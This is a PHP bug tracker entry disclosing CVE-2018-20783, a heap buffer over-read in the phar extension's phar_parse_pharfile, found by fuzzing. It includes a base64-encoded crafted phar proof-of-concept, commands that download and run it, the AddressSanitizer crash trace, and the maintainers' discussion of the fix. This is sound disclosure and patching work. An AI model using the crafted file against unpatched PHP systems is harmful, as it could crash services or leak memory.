PHP :: Sec Bug #77143 :: Heap Buffer Overflow (READ: 4) in phar_parse

Sec Bug #77143	Heap Buffer Overflow (READ: 4) in phar_parse_pharfile
Submitted:	2018-11-12 19:17 UTC	Modified:	2019-02-21 21:12 UTC
From:	cyoung at tripwire dot com	Assigned:	stas (profile)
Status:	Closed	Package:	PHAR related
PHP Version:	7.2.12	OS:	Linux
Private report:	No	CVE-ID:	2018-20783

View Developer Edit

Welcome! If you don't have a Git account, you can't do anything here.
If you reported this bug, you can edit this bug over here.

php.net Username: php.net Password:

Quick Fix:	(description)
	Block user comment
Status:		Assign to:
Package:
Bug Type:
Summary:
From:	cyoung at tripwire dot com
New email:
PHP Version:		OS:

New/Additional Comment:

[2018-11-12 19:17 UTC] cyoung at tripwire dot com

Description:
------------
Phar files with __HALT_COMPILER(); in unexpected places can lead to a buffer overrun. This is something I found while fuzzing with AFL using an ASAN instrumented PHP.

Test script:
---------------
The issue can be observed by disabling the ZEND allocator and using ASAN (or valgrind/etc?) with a crafted phar as input. I have prepared an example PHAR file and hosted it at: https://secur3.us/php-oob4.phar

USE_ZEND_ALLOC=0 php -d phar.readonly=0 -r "var_dump(new Phar('php-oob4.phar',0,'project.phar'));"

Base64 encoding of php-oob4.phar is as follows:
X19IQUxUX0NPTVBJTEVSKCk7CgAAANQpRbJAlS4oDzkKFD1B2bK4fX3DAgAAAEdCTUI=

Expected result:
----------------
PHP should never read beyond the allocated buffers.

Actual result:
--------------
cyoung@FuzzBox:~/php-fuzzing/php-src-php-7.2.12$ wget -q https://secur3.us/php-oob4.phar -O /tmp/php-oob4.phar
cyoung@FuzzBox:~/php-fuzzing/php-src-php-7.2.12$ ./sapi/cli/php -d phar.readonly=0 -r "var_dump(new Phar('/tmp/php-oob4.phar',0,'project.phar'));"
=================================================================
==2741==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000ab7a at pc 0x0000013258a7 bp 0x7ffd845ab330 sp 0x7ffd845ab328
READ of size 4 at 0x60200000ab7a thread T0
    #0 0x13258a6 in phar_parse_pharfile /home/cyoung/php-fuzzing/php-src-php-7.2.12/ext/phar/phar.c:973:2
    #1 0x13258a6 in phar_open_from_fp /home/cyoung/php-fuzzing/php-src-php-7.2.12/ext/phar/phar.c:1708
    #2 0x131a6c1 in phar_create_or_parse_filename /home/cyoung/php-fuzzing/php-src-php-7.2.12/ext/phar/phar.c:1343:7
    #3 0x1318503 in phar_open_or_create_filename /home/cyoung/php-fuzzing/php-src-php-7.2.12/ext/phar/phar.c:1316:9
    #4 0x1341705 in zim_Phar___construct /home/cyoung/php-fuzzing/php-src-php-7.2.12/ext/phar/phar_object.c:1195:6
    #5 0x1dc6cbb in ZEND_DO_FCALL_SPEC_RETVAL_UNUSED_HANDLER /home/cyoung/php-fuzzing/php-src-php-7.2.12/Zend/zend_vm_execute.h:907:4
    #6 0x1c15505 in execute_ex /home/cyoung/php-fuzzing/php-src-php-7.2.12/Zend/zend_vm_execute.h:59739:7
    #7 0x1c15f56 in zend_execute /home/cyoung/php-fuzzing/php-src-php-7.2.12/Zend/zend_vm_execute.h:63776:2
    #8 0x1a07225 in zend_eval_stringl /home/cyoung/php-fuzzing/php-src-php-7.2.12/Zend/zend_execute_API.c:1083:4
    #9 0x1a07d6a in zend_eval_stringl_ex /home/cyoung/php-fuzzing/php-src-php-7.2.12/Zend/zend_execute_API.c:1124:11
    #10 0x1a07d6a in zend_eval_string_ex /home/cyoung/php-fuzzing/php-src-php-7.2.12/Zend/zend_execute_API.c:1135
    #11 0x200c501 in do_cli /home/cyoung/php-fuzzing/php-src-php-7.2.12/sapi/cli/php_cli.c:1042:8
    #12 0x200960c in main /home/cyoung/php-fuzzing/php-src-php-7.2.12/sapi/cli/php_cli.c:1404:18
    #13 0x7f21462e082f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/../csu/libc-start.c:291
    #14 0x43a598 in _start (/home/cyoung/php-fuzzing/php-src-php-7.2.12/sapi/cli/php+0x43a598)

0x60200000ab7a is located 0 bytes to the right of 10-byte region [0x60200000ab70,0x60200000ab7a)
allocated by thread T0 here:
    #0 0x4da6c8 in __interceptor_malloc (/home/cyoung/php-fuzzing/php-src-php-7.2.12/sapi/cli/php+0x4da6c8)
    #1 0x192899c in __zend_malloc /home/cyoung/php-fuzzing/php-src-php-7.2.12/Zend/zend_alloc.c:2829:14
    #2 0x131a6c1 in phar_create_or_parse_filename /home/cyoung/php-fuzzing/php-src-php-7.2.12/ext/phar/phar.c:1343:7
    #3 0x1318503 in phar_open_or_create_filename /home/cyoung/php-fuzzing/php-src-php-7.2.12/ext/phar/phar.c:1316:9
    #4 0x1341705 in zim_Phar___construct /home/cyoung/php-fuzzing/php-src-php-7.2.12/ext/phar/phar_object.c:1195:6
    #5 0x1dc6cbb in ZEND_DO_FCALL_SPEC_RETVAL_UNUSED_HANDLER /home/cyoung/php-fuzzing/php-src-php-7.2.12/Zend/zend_vm_execute.h:907:4
    #6 0x1c15505 in execute_ex /home/cyoung/php-fuzzing/php-src-php-7.2.12/Zend/zend_vm_execute.h:59739:7

SUMMARY: AddressSanitizer: heap-buffer-overflow /home/cyoung/php-fuzzing/php-src-php-7.2.12/ext/phar/phar.c:973:2 in phar_parse_pharfile
Shadow bytes around the buggy address:
  0x0c047fff9510: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff9520: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff9530: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff9540: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff9550: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c047fff9560: fa fa fa fa fa fa fa fa fa fa fa fa fa fa 00[02]
  0x0c047fff9570: fa fa fd fa fa fa fd fa fa fa fd fa fa fa 02 fa
  0x0c047fff9580: fa fa fd fa fa fa 00 00 fa fa 00 fa fa fa 00 05
  0x0c047fff9590: fa fa fd fa fa fa 00 05 fa fa fd fa fa fa 00 04
  0x0c047fff95a0: fa fa fd fa fa fa 00 fa fa fa fd fd fa fa fd fd
  0x0c047fff95b0: fa fa fd fd fa fa fd fd fa fa fd fa fa fa 00 fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==2741==ABORTING

Patches

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports

[2018-11-12 19:45 UTC] stas@php.net

-Package: *Compression related +Package: PHAR related

[2018-11-12 20:03 UTC] stas@php.net

-Status: Open +Status: Feedback

[2018-11-12 20:03 UTC] stas@php.net

I am a bit confused by this:

    #0 0x13258a6 in phar_parse_pharfile /home/cyoung/php-fuzzing/php-src-php-7.2.12/ext/phar/phar.c:973:2

This line in the code is:

        PHAR_GET_32(buffer, manifest_len);

Which expands to:

# define PHAR_GET_32(buffer, var) \
        memcpy(&var, buffer, sizeof(var)); \
        buffer += 4

manifest_len is uint32_t, so sizeof() would be 4. buffer is set by:

        buffer = b32;

which is defined as:

        char b32[4]

I am at loss about how a buffer overflow could happen at this code. 

Also, trying to run this code I see:

Fatal error: Uncaught UnexpectedValueException: internal corruption of phar "/Users/smalyshev/php-7.2/mamp/php-oob4.phar" (buffer overrun) in /Users/smalyshev/php-7.2/mamp/77143.php:3

Not sure how to reproduce the issue you are describing.

[2018-11-12 20:38 UTC] cyoung at tripwire dot com

-Status: Feedback +Status: Open

[2018-11-12 20:38 UTC] cyoung at tripwire dot com

I think you must be looking at a different source. Here is the listing from my 7.2.12:
 972         /* extract alias */
 973         PHAR_GET_32(buffer, tmp_len);
 974
 975         if (buffer + tmp_len > endbuffer) {
 976                 MAPPHAR_FAIL("internal corruption of phar \"%s\" (buffer overrun)");
 977         }

(This lines up with https://github.com/php/php-src/blob/PHP-7.2.12/ext/phar/phar.c#L973 )

In my environment, with the supplied testcase, buffer is already pointing to the end of the allocated space (e.g. If I add a debug line just before 973, I see that buffer==endbuffer)

Now when we do PHAR_GET_32, it is trying to read 4 bytes past the end of the allocation.

If ASAN is enabled and ZEND allocator is disabled (e.g. USE_ZEND_ALLOC=0) you should get an ASAN report similar to what I shared. If ASAN is not enabled or USE_ZEND_ALLOC=1, you will instead reach the "buffer overrun" error message on line 976. I'm not certain, but I think even with this being unsigned ints, if PHAR_GET_32 reads a large value, buffer+tmp_len could overflow such that the buffer overrun error is not detected and the process continues to run.

[2018-11-12 21:28 UTC] stas@php.net

-Assigned To: +Assigned To: stas

[2018-11-12 21:28 UTC] stas@php.net

Hm, yes, it looks like I was looking at the wrong place. I can see the bad read now. Will fix.

[2018-11-12 22:19 UTC] stas@php.net

-CVE-ID: +CVE-ID: needed

[2018-11-12 22:19 UTC] stas@php.net

Fix in security repo as 48e0ba6848fb6b0778e00705d9c03102e3e22a16 and in https://gist.github.com/smalyshev/f2f742d7a5a9702f9942fa83c7d1271e. Please verify.

[2018-11-13 01:52 UTC] cyoung at tripwire dot com

I think the proposed patch looks good for resolving this test case but I think UNEXPECTED(buffer >= endbuffer) should be UNEXPECTED(buffer + 4 >= endbuffer) to reflect the 32-bit memcpy.

[2018-12-03 08:43 UTC] stas@php.net

Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=48f0f73f75c0059ba5d9b73cb4e5faeeaea49c47
Log: Fix bug #77143 - add more checks to buffer reads

[2018-12-03 08:43 UTC] stas@php.net

-Status: Assigned +Status: Closed

[2018-12-03 08:43 UTC] stas@php.net

Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=54212674b924aab506471060ff64986cda375f71
Log: Fix bug #77143 - add more checks to buffer reads

[2018-12-03 14:01 UTC] cmb@php.net

Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=d8b25b34a2bea027465dce2f5962d174a6e000a1
Log: Fix bug #77143 - add more checks to buffer reads

[2018-12-04 16:25 UTC] pollita@php.net

Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=e7c8e6cde021afd637ea535b0641a1851e57fb2a
Log: Fix bug #77143 - add more checks to buffer reads

[2018-12-04 16:45 UTC] pollita@php.net

Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=2c35e49dd89b5add7420db0a2f5f0b5727eb814e
Log: Fix bug #77143 - add more checks to buffer reads

[2019-02-21 21:12 UTC] stas@php.net

-CVE-ID: needed +CVE-ID: 2018-20783

[2020-03-04 23:14 UTC] cmb@php.net

Related To: Bug #73763

	php.net \| support \| documentation \| report a bug \| advanced search \| search howto \| statistics \| random bug \| login
go to bug id or search bugs for


Copyright © 2001-2024 The PHP Group All rights reserved.	Last updated: Thu Nov 21 15:01:30 2024 UTC